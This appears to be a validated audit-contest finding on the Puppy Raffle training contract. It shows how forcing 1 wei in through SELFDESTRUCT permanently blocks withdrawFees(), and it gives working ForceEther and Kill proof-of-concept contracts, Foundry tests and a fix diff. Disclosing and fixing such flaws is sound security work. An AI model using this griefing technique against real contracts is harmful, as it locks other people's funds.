Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

One wei of forced ETH permanently blocks all fee withdrawals

phantombugz

Root + Impact

Description

withdrawFees() assumes the contract balance must equal totalFees before fees can be withdrawn. That equality can be broken by any external contract forcing even 1 wei into PuppyRaffle through SELFDESTRUCT. Forced ETH does not execute PuppyRaffle code and cannot be rejected.

After the forced transfer, address(this).balance is permanently greater than totalFees. Every withdrawFees() call reverts, and no function can reconcile or sweep the surplus. EIP-6780 limits code deletion but preserves SELFDESTRUCT's beneficiary balance transfer, so the attack remains valid on modern Ethereum.

function withdrawFees() external {
// @> An attacker can force balance to totalFees + 1 wei.
require(
address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!"
);
​
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood: High

  • Anyone can deploy a funded helper and force ETH to the raffle.

  • The attack costs only 1 wei plus gas and requires no protocol role or timing race.

Impact: Medium

  • All accrued protocol fees become unwithdrawable.

  • Future rounds do not repair the mismatch because both the real balance and totalFees increase by normal fee amounts while the attacker-created delta remains.

Proof of Concept

contract ForceEther {
constructor() payable {}
​
function destroy(address payable target) external {
selfdestruct(target);
}
}
​
function testForcedEtherBlocksFeeWithdrawal() public {
enterFourPlayers();
vm.warp(block.timestamp + raffleDuration + 1);
raffle.selectWinner();
​
assertEq(address(raffle).balance, raffle.totalFees());
​
ForceEther force = new ForceEther{value: 1 wei}();
force.destroy(payable(address(raffle)));
​
assertEq(address(raffle).balance, uint256(raffle.totalFees()) + 1);
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
raffle.withdrawFees();
}

The focused Foundry test passes. This is a griefing attack rather than a direct-profit attack, but the attacker cost is negligible and the fee lock has no recovery path.

Recommended Mitigation

Do not use raw balance equality to infer whether players are active. Track active liabilities explicitly and withdraw only the accounted fee amount.

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees),
- "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Use a separate active-round state/count guard if fee withdrawal must be blocked during live rounds, and provide an explicit safe policy for surplus ETH.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!